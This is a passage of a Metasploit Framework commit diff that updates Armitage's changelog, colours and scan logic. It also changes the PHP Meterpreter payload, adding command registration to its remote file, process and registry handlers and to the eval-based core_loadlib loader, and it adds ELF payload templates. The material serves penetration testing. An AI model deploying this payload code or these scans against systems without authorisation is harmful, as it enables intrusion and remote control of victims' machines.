Updating release from master.
This commit is contained in:
parent
dd4aaa07fa
commit
a37e98f159
2
HACKING
2
HACKING
|
@ -112,7 +112,7 @@ Submitting Your Code
|
|||
|
||||
The process for submitting new modules via GitHub is documented here:
|
||||
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Working-with-the-Framework-Repo
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
|
||||
|
||||
This describes the process of forking, editing, and generating a
|
||||
pull request, and is the preferred method for bringing new modules
|
||||
|
|
2
README
2
README
|
@ -64,6 +64,6 @@ The framework mailing list is the place to discuss features and ask for help.
|
|||
To subscribe, visit the following web page:
|
||||
https://mail.metasploit.com/mailman/listinfo/framework
|
||||
|
||||
The archives are available from:
|
||||
The e-mail archives are available from:
|
||||
https://mail.metasploit.com/pipermail/framework/
|
||||
|
||||
|
|
Binary file not shown.
|
@ -1,6 +1,36 @@
|
|||
Armitage Changelog
|
||||
==================
|
||||
|
||||
21 May 12
|
||||
---------
|
||||
- Added a hack to prevent the input area from flickering when the
|
||||
prompt changes.
|
||||
- Updated the color palette to something a little more subtle.
|
||||
- Added an optimization to how modules are launched. This will make
|
||||
a difference for team use in high latency situations.
|
||||
- Rewrote MSF Scans feature to use console queue. This option is more
|
||||
reliable and it makes the code easier to follow.
|
||||
- Added a hack to combine chat message writes with a read request.
|
||||
This will make the event log more responsive in a high latency
|
||||
situation (can't you tell I care about this "situation")
|
||||
- Fixed text highlights through Ctrl+F on Windows. UNIX platforms
|
||||
were always OK. Another good reason to not use these tools on
|
||||
Windows. Ever.
|
||||
- View -> Downloads Sync Files feature now works on Windows. It looks
|
||||
like leaving those pesky :'s in the file paths is bad.
|
||||
|
||||
17 May 12
|
||||
---------
|
||||
- Fixed bug with loot/download viewer breaking with a font resize.
|
||||
- Default console font color is now grey. I never noticed that I had
|
||||
white text on a black background before. That's a lot of contrast.
|
||||
This is adjustable too through Armitage -> Preferences.
|
||||
- And... the Armitage console now displays pretty colors. If you don't
|
||||
like colors, set the console.show_colors.boolean preference to false
|
||||
through Armitage -> Preferences.
|
||||
- Fixed a bug preventing input field from getting focus when popping a
|
||||
console tab using Ctrl+W.
|
||||
|
||||
14 May 12
|
||||
---------
|
||||
- Oopserific--dynamic workspace shortcuts were not bound until you
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,3 @@
|
|||
Manifest-Version: 1.0
|
||||
SVG-Handler-Class: Exploit
|
||||
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -283,6 +283,7 @@ function cononicalize_path($path) {
|
|||
# traditionally used this to get environment variables from the server.
|
||||
#
|
||||
if (!function_exists('stdapi_fs_file_expand_path')) {
|
||||
register_command('stdapi_fs_file_expand_path');
|
||||
function stdapi_fs_file_expand_path($req, &$pkt) {
|
||||
my_print("doing expand_path");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
|
@ -320,18 +321,8 @@ function stdapi_fs_file_expand_path($req, &$pkt) {
|
|||
}
|
||||
}
|
||||
|
||||
|
||||
if (!function_exists('stdapi_fs_mkdir')) {
|
||||
function stdapi_fs_mkdir($req, &$pkt) {
|
||||
my_print("doing mkdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
$ret = mkdir(cononicalize_path($path_tlv['value']),0777);
|
||||
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!function_exists('stdapi_fs_delete_dir')) {
|
||||
register_command('stdapi_fs_delete_dir');
|
||||
function stdapi_fs_delete_dir($req, &$pkt) {
|
||||
my_print("doing rmdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
|
@ -340,9 +331,19 @@ function stdapi_fs_delete_dir($req, &$pkt) {
|
|||
}
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_mkdir')) {
|
||||
register_command('stdapi_fs_mkdir');
|
||||
function stdapi_fs_mkdir($req, &$pkt) {
|
||||
my_print("doing mkdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
$ret = @mkdir(cononicalize_path($path_tlv['value']));
|
||||
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_chdir')) {
|
||||
register_command('stdapi_fs_chdir');
|
||||
function stdapi_fs_chdir($req, &$pkt) {
|
||||
my_print("doing chdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
|
@ -353,6 +354,7 @@ function stdapi_fs_chdir($req, &$pkt) {
|
|||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_delete')) {
|
||||
register_command('stdapi_fs_delete');
|
||||
function stdapi_fs_delete($req, &$pkt) {
|
||||
my_print("doing delete");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
|
||||
|
@ -363,6 +365,7 @@ function stdapi_fs_delete($req, &$pkt) {
|
|||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_getwd')) {
|
||||
register_command('stdapi_fs_getwd');
|
||||
function stdapi_fs_getwd($req, &$pkt) {
|
||||
my_print("doing pwd");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
|
||||
|
@ -373,6 +376,7 @@ function stdapi_fs_getwd($req, &$pkt) {
|
|||
# works partially, need to get the path argument to mean the same thing as in
|
||||
# windows
|
||||
if (!function_exists('stdapi_fs_ls')) {
|
||||
register_command('stdapi_fs_ls');
|
||||
function stdapi_fs_ls($req, &$pkt) {
|
||||
my_print("doing ls");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
|
@ -413,6 +417,7 @@ function stdapi_fs_ls($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_separator')) {
|
||||
register_command('stdapi_fs_separator');
|
||||
function stdapi_fs_separator($req, &$pkt) {
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR));
|
||||
return ERROR_SUCCESS;
|
||||
|
@ -420,6 +425,7 @@ function stdapi_fs_separator($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_stat')) {
|
||||
register_command('stdapi_fs_stat');
|
||||
function stdapi_fs_stat($req, &$pkt) {
|
||||
my_print("doing stat");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
|
@ -452,6 +458,7 @@ function stdapi_fs_stat($req, &$pkt) {
|
|||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_delete_file')) {
|
||||
register_command('stdapi_fs_delete_file');
|
||||
function stdapi_fs_delete_file($req, &$pkt) {
|
||||
my_print("doing delete");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
|
@ -467,6 +474,7 @@ function stdapi_fs_delete_file($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_search')) {
|
||||
register_command('stdapi_fs_search');
|
||||
function stdapi_fs_search($req, &$pkt) {
|
||||
my_print("doing search");
|
||||
|
||||
|
@ -506,6 +514,7 @@ function stdapi_fs_search($req, &$pkt) {
|
|||
|
||||
|
||||
if (!function_exists('stdapi_fs_md5')) {
|
||||
register_command("stdapi_fs_md5");
|
||||
function stdapi_fs_md5($req, &$pkt) {
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
$path = cononicalize_path($path_tlv['value']);
|
||||
|
@ -524,6 +533,7 @@ function stdapi_fs_md5($req, &$pkt) {
|
|||
|
||||
|
||||
if (!function_exists('stdapi_fs_sha1')) {
|
||||
register_command("stdapi_fs_sha1");
|
||||
function stdapi_fs_sha1($req, &$pkt) {
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
$path = cononicalize_path($path_tlv['value']);
|
||||
|
@ -545,6 +555,7 @@ function stdapi_fs_sha1($req, &$pkt) {
|
|||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_config_getuid')) {
|
||||
register_command('stdapi_sys_config_getuid');
|
||||
function stdapi_sys_config_getuid($req, &$pkt) {
|
||||
my_print("doing getuid");
|
||||
if (is_callable('posix_getuid')) {
|
||||
|
@ -563,15 +574,17 @@ function stdapi_sys_config_getuid($req, &$pkt) {
|
|||
}
|
||||
|
||||
# Unimplemented becuase it's unimplementable
|
||||
if (!function_exists('stdapi_sys_config_rev2self')) {
|
||||
function stdapi_sys_config_rev2self($req, &$pkt) {
|
||||
my_print("doing rev2self");
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
#if (!function_exists('stdapi_sys_config_rev2self')) {
|
||||
#register_command('stdapi_sys_config_rev2self');
|
||||
#function stdapi_sys_config_rev2self($req, &$pkt) {
|
||||
# my_print("doing rev2self");
|
||||
# return ERROR_FAILURE;
|
||||
#}
|
||||
#}
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_config_sysinfo')) {
|
||||
register_command('stdapi_sys_config_sysinfo');
|
||||
function stdapi_sys_config_sysinfo($req, &$pkt) {
|
||||
my_print("doing sysinfo");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
|
||||
|
@ -584,6 +597,7 @@ function stdapi_sys_config_sysinfo($req, &$pkt) {
|
|||
$GLOBALS['processes'] = array();
|
||||
|
||||
if (!function_exists('stdapi_sys_process_execute')) {
|
||||
register_command('stdapi_sys_process_execute');
|
||||
function stdapi_sys_process_execute($req, &$pkt) {
|
||||
global $channel_process_map, $processes;
|
||||
|
||||
|
@ -658,6 +672,7 @@ function stdapi_sys_process_execute($req, &$pkt) {
|
|||
|
||||
|
||||
if (!function_exists('stdapi_sys_process_close')) {
|
||||
register_command('stdapi_sys_process_close');
|
||||
function stdapi_sys_process_close($req, &$pkt) {
|
||||
global $processes;
|
||||
my_print("doing process_close");
|
||||
|
@ -711,6 +726,7 @@ function close_process($proc) {
|
|||
# to decide what options to send to ps for portability and for information
|
||||
# usefulness.
|
||||
if (!function_exists('stdapi_sys_process_get_processes')) {
|
||||
register_command('stdapi_sys_process_get_processes');
|
||||
function stdapi_sys_process_get_processes($req, &$pkt) {
|
||||
my_print("doing get_processes");
|
||||
$list = array();
|
||||
|
@ -760,6 +776,7 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
|
|||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_process_getpid')) {
|
||||
register_command('stdapi_sys_process_getpid');
|
||||
function stdapi_sys_process_getpid($req, &$pkt) {
|
||||
my_print("doing getpid");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
|
||||
|
@ -768,6 +785,7 @@ function stdapi_sys_process_getpid($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_sys_process_kill')) {
|
||||
register_command('stdapi_sys_process_kill');
|
||||
function stdapi_sys_process_kill($req, &$pkt) {
|
||||
# The existence of posix_kill is unlikely (it's a php compile-time option
|
||||
# that isn't enabled by default, but better to try it and avoid shelling
|
||||
|
@ -798,6 +816,7 @@ function stdapi_sys_process_kill($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
|
||||
register_command('stdapi_net_socket_tcp_shutdown');
|
||||
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
|
||||
my_print("doing stdapi_net_socket_tcp_shutdown");
|
||||
$cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
||||
|
@ -838,6 +857,9 @@ function deregister_registry_key($id) {
|
|||
|
||||
|
||||
if (!function_exists('stdapi_registry_create_key')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_create_key');
|
||||
}
|
||||
function stdapi_registry_create_key($req, &$pkt) {
|
||||
my_print("doing stdapi_registry_create_key");
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
|
@ -871,6 +893,9 @@ function stdapi_registry_create_key($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_registry_close_key')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_close_key');
|
||||
}
|
||||
function stdapi_registry_close_key($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
global $registry_handles;
|
||||
|
@ -889,6 +914,9 @@ function stdapi_registry_close_key($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_registry_query_value')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_query_value');
|
||||
}
|
||||
function stdapi_registry_query_value($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
global $registry_handles;
|
||||
|
@ -926,6 +954,9 @@ function stdapi_registry_query_value($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_registry_set_value')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_set_value');
|
||||
}
|
||||
function stdapi_registry_set_value($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
global $registry_handles;
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -30,6 +30,18 @@ if (!isset($GLOBALS['readers'])) {
|
|||
$GLOBALS['readers'] = array();
|
||||
}
|
||||
|
||||
# global list of extension commands
|
||||
if (!isset($GLOBALS['commands'])) {
|
||||
$GLOBALS['commands'] = array("core_loadlib");
|
||||
}
|
||||
|
||||
function register_command($c) {
|
||||
global $commands;
|
||||
if (! in_array($c, $commands)) {
|
||||
array_push($commands, $c);
|
||||
}
|
||||
}
|
||||
|
||||
function my_print($str) {
|
||||
#error_log($str);
|
||||
}
|
||||
|
@ -389,14 +401,20 @@ function core_shutdown($req, &$pkt) {
|
|||
# isn't compressed before eval'ing it
|
||||
# TODO: check for zlib support and decompress if possible
|
||||
function core_loadlib($req, &$pkt) {
|
||||
global $commands;
|
||||
my_print("doing core_loadlib");
|
||||
$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
|
||||
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
|
||||
return ERROR_FAILURE;
|
||||
} else {
|
||||
eval($data_tlv['value']);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
$tmp = $commands;
|
||||
eval($data_tlv['value']);
|
||||
$new = array_diff($commands, $tmp);
|
||||
foreach ($new as $meth) {
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,42 @@
|
|||
; build with:
|
||||
; nasm elf_x86_template.s -f bin -o template_x86_linux.bin
|
||||
|
||||
BITS 32
|
||||
|
||||
org 0x08048000
|
||||
|
||||
ehdr: ; Elf32_Ehdr
|
||||
db 0x7F, "ELF", 1, 1, 1, 9 ; e_ident
|
||||
db 0, 0, 0, 0, 0, 0, 0, 0 ;
|
||||
dw 2 ; e_type = ET_EXEC for an executable
|
||||
dw 3 ; e_machine
|
||||
dd 1 ; e_version
|
||||
dd _start ; e_entry
|
||||
dd phdr - $$ ; e_phoff
|
||||
dd 0 ; e_shoff
|
||||
dd 0 ; e_flags
|
||||
dw ehdrsize ; e_ehsize
|
||||
dw phdrsize ; e_phentsize
|
||||
dw 1 ; e_phnum
|
||||
dw 0 ; e_shentsize
|
||||
dw 0 ; e_shnum
|
||||
dw 0 ; e_shstrndx
|
||||
|
||||
ehdrsize equ $ - ehdr
|
||||
|
||||
phdr: ; Elf32_Phdr
|
||||
dd 1 ; p_type = PT_LOAD
|
||||
dd 0 ; p_offset
|
||||
dd $$ ; p_vaddr
|
||||
dd $$ ; p_paddr
|
||||
dd 0xDEADBEEF ; p_filesz
|
||||
dd 0xDEADBEEF ; p_memsz
|
||||
dd 7 ; p_flags = rwx
|
||||
dd 0x1000 ; p_align
|
||||
|
||||
phdrsize equ $ - phdr
|
||||
|
||||
global _start
|
||||
|
||||
_start:
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
; build with:
|
||||
; nasm elf_x86_template.s -f bin -o template_x86_linux.bin
|
||||
|
||||
BITS 32
|
||||
|
||||
org 0x08048000
|
||||
|
||||
ehdr: ; Elf32_Ehdr
|
||||
db 0x7F, "ELF", 1, 1, 1, 6 ; e_ident
|
||||
db 1, 0, 0, 0, 0, 0, 0, 0 ;
|
||||
dw 2 ; e_type = ET_EXEC for an executable
|
||||
dw 3 ; e_machine
|
||||
dd 1 ; e_version
|
||||
dd _start ; e_entry
|
||||
dd phdr - $$ ; e_phoff
|
||||
dd 0 ; e_shoff
|
||||
dd 0 ; e_flags
|
||||
dw ehdrsize ; e_ehsize
|
||||
dw phdrsize ; e_phentsize
|
||||
dw 1 ; e_phnum
|
||||
dw 0 ; e_shentsize
|
||||
dw 0 ; e_shnum
|
||||
dw 0 ; e_shstrndx
|
||||
|
||||
ehdrsize equ $ - ehdr
|
||||
|
||||
phdr: ; Elf32_Phdr
|
||||
dd 1 ; p_type = PT_LOAD
|
||||
dd 0 ; p_offset
|
||||
dd $$ ; p_vaddr
|
||||
dd $$ ; p_paddr
|
||||
dd 0xDEADBEEF ; p_filesz
|
||||
dd 0xDEADBEEF ; p_memsz
|
||||
dd 7 ; p_flags = rwx
|
||||
dd 0x1000 ; p_align
|
||||
|
||||
phdrsize equ $ - phdr
|
||||
|
||||
global _start
|
||||
|
||||
_start:
|
||||
|
Binary file not shown.
Binary file not shown.
|
@ -3,7 +3,7 @@
|
|||
<center><h1>Armitage 1.44-dev</h1></center>
|
||||
|
||||
<p>An attack management tool for Metasploit®
|
||||
<br />Release: 14 May 12</p>
|
||||
<br />Release: 21 May 12</p>
|
||||
<br />
|
||||
<p>Developed by:</p>
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@ console.page_up.shortcut=pressed PAGE_UP
|
|||
console.highlight.color=\#0000cc
|
||||
console.font_size_plus.shortcut=ctrl pressed EQUALS
|
||||
console.font_size_minus.shortcut=ctrl pressed MINUS
|
||||
console.foreground.color=\#ffffff
|
||||
console.foreground.color=\#cccccc
|
||||
console.background.color=\#000000
|
||||
console.font.font=Monospaced-BOLD-14
|
||||
graph.arrange_icons_hierarchical.shortcut=ctrl pressed H
|
||||
|
@ -39,10 +39,20 @@ armitage.no_msf_banner.boolean=false
|
|||
tab.highlight.color=#0000ff
|
||||
armitage.show_all_commands.boolean=true
|
||||
armitage.application_title.string=Armitage
|
||||
console.color_0.color=#000000
|
||||
console.color_1.color=#ffffff
|
||||
console.color_2.color=#0000ff
|
||||
console.color_3.color=#00ff00
|
||||
console.color_4.color=#ff0000
|
||||
console.color_5.color=#ffff00
|
||||
console.color_6.color=#ff00ff
|
||||
console.color_0.color=\#ffffff
|
||||
console.color_1.color=\#000000
|
||||
console.color_2.color=\#3465A4
|
||||
console.color_3.color=\#4E9A06
|
||||
console.color_4.color=\#EF2929
|
||||
console.color_5.color=\#CC0000
|
||||
console.color_6.color=\#75507B
|
||||
console.color_7.color=\#C4A000
|
||||
console.color_8.color=\#FCE94F
|
||||
console.color_9.color=\#8AE234
|
||||
console.color_10.color=\#069A9A
|
||||
console.color_11.color=\#34E2E2
|
||||
console.color_12.color=\#729FCF
|
||||
console.color_13.color=\#AD7FA8
|
||||
console.color_14.color=\#808080
|
||||
console.color_15.color=\#c0c0c0
|
||||
console.show_colors.boolean=true
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
^(..:..:..) \[\*\] (.*) $1 \cC[*]\o $2
|
||||
^\[\*\] (.*) \cC[*]\o $1
|
||||
^(..:..:..) \* (.*) $1 \cD*\o $2
|
||||
^(\w+)> \u$1\o>
|
|
@ -0,0 +1,11 @@
|
|||
^msf> \umsf\u>
|
||||
^meterpreter > \umeterpreter\u >
|
||||
^msf > \umsf\u >
|
||||
^msf (.*?)\((.*?)\) > \umsf\u $1(\c4$2\o) >
|
||||
^\[\*\] (.*) \cC[*]\o $1
|
||||
^\[\+\] (.*) \c9[+]\o $1
|
||||
^\[\-\] (.*) \c4[-]\o $1
|
||||
^ =\[ (.*) =[\c7 $1
|
||||
^(=[=\s]+) \cE$1
|
||||
^(\s*-[-\s]+) \cE$1
|
||||
^(.*?): (.*) $1\cE:\o $2
|
|
@ -13,6 +13,7 @@ sub createEventLogTab {
|
|||
if ($client is $null && $console is $null) {
|
||||
$client = [new ConsoleClient: $null, $mclient, "armitage.poll", "armitage.push", $null, "", $null];
|
||||
$console = [new ActivityConsole: $preferences];
|
||||
setupEventStyle($console);
|
||||
logCheck($console, "all", "events");
|
||||
[$client setWindow: $console];
|
||||
[$client setEcho: $null];
|
||||
|
|
|
@ -150,7 +150,8 @@ sub launch_service {
|
|||
}
|
||||
|
||||
sub _launch_service {
|
||||
local('$c $key $value');
|
||||
local('$c $key $value %options');
|
||||
%options = copy($3);
|
||||
|
||||
if ('SESSION' in $3) {
|
||||
$c = createDisplayTab($1, $host => sessionToHost($3['SESSION']), $file => "post");
|
||||
|
@ -167,17 +168,15 @@ sub _launch_service {
|
|||
}
|
||||
|
||||
if ($4 eq "payload" && $format eq "multi/handler") {
|
||||
[$c addCommand: $null, "use exploit/multi/handler"];
|
||||
[$c addCommand: $null, "set PAYLOAD ". substr($2, 8)];
|
||||
[$c addCommand: $null, "set ExitOnSession false"];
|
||||
[$c addCommand: $null, "use exploit/multi/handler"];
|
||||
%options['PAYLOAD'] = substr($2, 8);
|
||||
%options['ExitOnSession'] = 'false';
|
||||
}
|
||||
else {
|
||||
[$c addCommand: $null, "use $2"];
|
||||
}
|
||||
|
||||
foreach $key => $value ($3) {
|
||||
[$c addCommand: $null, "set $key $value"];
|
||||
}
|
||||
[$c setOptions: %options];
|
||||
|
||||
if ($4 eq "exploit" || ($4 eq "payload" && $format eq "multi/handler")) {
|
||||
[$c addCommand: "x", "exploit -j"];
|
||||
|
|
|
@ -33,6 +33,7 @@ sub downloadLoot {
|
|||
local('$dest');
|
||||
#$dest = chooseFile($title => "Where shall I save these files?", $dirsonly => 1, $always => 1);
|
||||
$dest = getFileProper(dataDirectory(), $type);
|
||||
mkdir($dest);
|
||||
_downloadLoot(\$model, \$table, \$getme, \$dest, $dtype => $type);
|
||||
}, \$model, \$table, \$getme, \$type));
|
||||
}
|
||||
|
@ -48,7 +49,7 @@ sub _downloadLoot {
|
|||
# make the folder to store our downloads into
|
||||
local('$handle $data $file');
|
||||
if ($dtype eq "downloads") {
|
||||
$file = getFileProper($dest, $host, $path, $name);
|
||||
$file = getFileProper($dest, $host, strrep($path, ':', ''), $name);
|
||||
}
|
||||
else {
|
||||
$file = getFileProper($dest, $host, $name);
|
||||
|
@ -77,16 +78,15 @@ sub _postLoot {
|
|||
($host, $location, $name, $type, $when) = $1;
|
||||
|
||||
[$2 append: "
|
||||
#
|
||||
# $host $+ : $name
|
||||
#
|
||||
", "3", "#00ff00"];
|
||||
\c9#
|
||||
\c9# $host $+ : $name
|
||||
\c9#\n"];
|
||||
|
||||
if ("*binary*" iswm $type) {
|
||||
[$2 append: "This is a binary file\n", "4", "#ff0000"];
|
||||
[$2 append: "\c4This is a binary file\n"];
|
||||
}
|
||||
else {
|
||||
[$2 append: getFileContent($location), $null, $null];
|
||||
[$2 append: getFileContent($location)];
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -116,6 +116,7 @@ sub createMeterpreterTab {
|
|||
|
||||
# set up a meterpreter console window
|
||||
$console = [new Console: $preferences];
|
||||
setupConsoleStyle($console);
|
||||
logCheck($console, sessionToHost($1), "meterpreter_ $+ $1");
|
||||
[$console setPopupMenu: lambda(&meterpreterPopup, $session => sessionData($1), $sid => $1)];
|
||||
|
||||
|
@ -265,96 +266,88 @@ sub launch_msf_scans {
|
|||
@modules = filter({ return iff("*_version" iswm $1, $1); }, @auxiliary);
|
||||
|
||||
$hosts = iff($1 is $null, ask("Enter range (e.g., 192.168.1.0/24):"), $1);
|
||||
if ($hosts is $null) {
|
||||
return;
|
||||
}
|
||||
|
||||
thread(lambda({
|
||||
local('$scanner $index $console %ports %discover $port %o $temp');
|
||||
local('$scanner $index $queue %ports %discover $port %o $temp');
|
||||
%ports = ohash();
|
||||
%discover = ohash();
|
||||
setMissPolicy(%ports, { return @(); });
|
||||
setMissPolicy(%discover, { return @(); });
|
||||
|
||||
if ($hosts !is $null) {
|
||||
elog("launched msf scans at: $hosts");
|
||||
elog("launched msf scans at: $hosts");
|
||||
|
||||
$console = createConsoleTab("Scan", 1, $host => "all", $file => "scan");
|
||||
[$console addSessionListener: lambda({
|
||||
local('$text $host $port $hosts $modules $module @c');
|
||||
$queue = createDisplayTab("Scan", $host => "all", $file => "scan");
|
||||
|
||||
foreach $text (split("\n", $2)) {
|
||||
if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
|
||||
($host, $port) = matched();
|
||||
push(%discover[$port], $host);
|
||||
}
|
||||
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && $start == 1) {
|
||||
$start = $null;
|
||||
[[$console getWindow] append: "[*] Starting host discovery scans\n"];
|
||||
[$queue append: "[*] Building list of scan ports and modules"];
|
||||
|
||||
foreach $port => $hosts (%discover) {
|
||||
if ($port in %ports) {
|
||||
$modules = %ports[$port];
|
||||
foreach $module ($modules) {
|
||||
@c = @("use $module");
|
||||
push(@c, "set RHOSTS " . join(", ", $hosts));
|
||||
push(@c, "set RPORT $port");
|
||||
push(@c, "set THREADS 24");
|
||||
push(@c, "run -j");
|
||||
# build up a list of scan ports
|
||||
foreach $index => $scanner (@modules) {
|
||||
if ($scanner ismatch 'scanner/(.*?)/\1_version') {
|
||||
%o = call($client, "module.options", "auxiliary", $scanner);
|
||||
if ('RPORT' in %o) {
|
||||
$port = %o['RPORT']['default'];
|
||||
push(%ports[$port], $scanner);
|
||||
}
|
||||
|
||||
push(@launch, @c);
|
||||
}
|
||||
safetyCheck();
|
||||
}
|
||||
}
|
||||
|
||||
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
|
||||
# for the default ports
|
||||
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
|
||||
$temp = %ports[$port];
|
||||
}
|
||||
|
||||
# add a few left out modules
|
||||
push(%ports['445'], "scanner/smb/smb_version");
|
||||
|
||||
[$queue append: "[*] Launching TCP scan"];
|
||||
[$queue addCommand: $null, "use auxiliary/scanner/portscan/tcp"];
|
||||
[$queue setOptions: %(PORTS => join(", ", keys(%ports)), RHOSTS => $hosts, THREADS => 24)];
|
||||
[$queue addCommand: "x", "run -j"];
|
||||
|
||||
[$queue addSessionListener: lambda({
|
||||
this('$start @launch');
|
||||
local('$text $host $port $hosts $modules $module $options');
|
||||
|
||||
foreach $text (split("\n", $3)) {
|
||||
if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
|
||||
($host, $port) = matched();
|
||||
push(%discover[$port], $host);
|
||||
}
|
||||
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && $start is $null) {
|
||||
$start = 1;
|
||||
[$queue append: "\n[*] Starting host discovery scans"];
|
||||
|
||||
# gather up the list of modules that we will launch...
|
||||
foreach $port => $hosts (%discover) {
|
||||
if ($port in %ports) {
|
||||
$modules = %ports[$port];
|
||||
foreach $module ($modules) {
|
||||
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24)));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' || $text ismatch '... Auxiliary failed: .*') {
|
||||
if (size(@launch) == 0) {
|
||||
$time = (ticks() - $time) / 1000.0;
|
||||
|
||||
[[$console getWindow] append: "\n[*] Scan complete in $time $+ s\n"];
|
||||
}
|
||||
else {
|
||||
[[$console getWindow] append: "\n[*] " . size(@launch) . " scan" . iff(size(@launch) != 1, "s") . " to go...\n"];
|
||||
thread(lambda({
|
||||
local('$command');
|
||||
foreach $command ($commands) {
|
||||
[$console sendString: "$command $+ \n"];
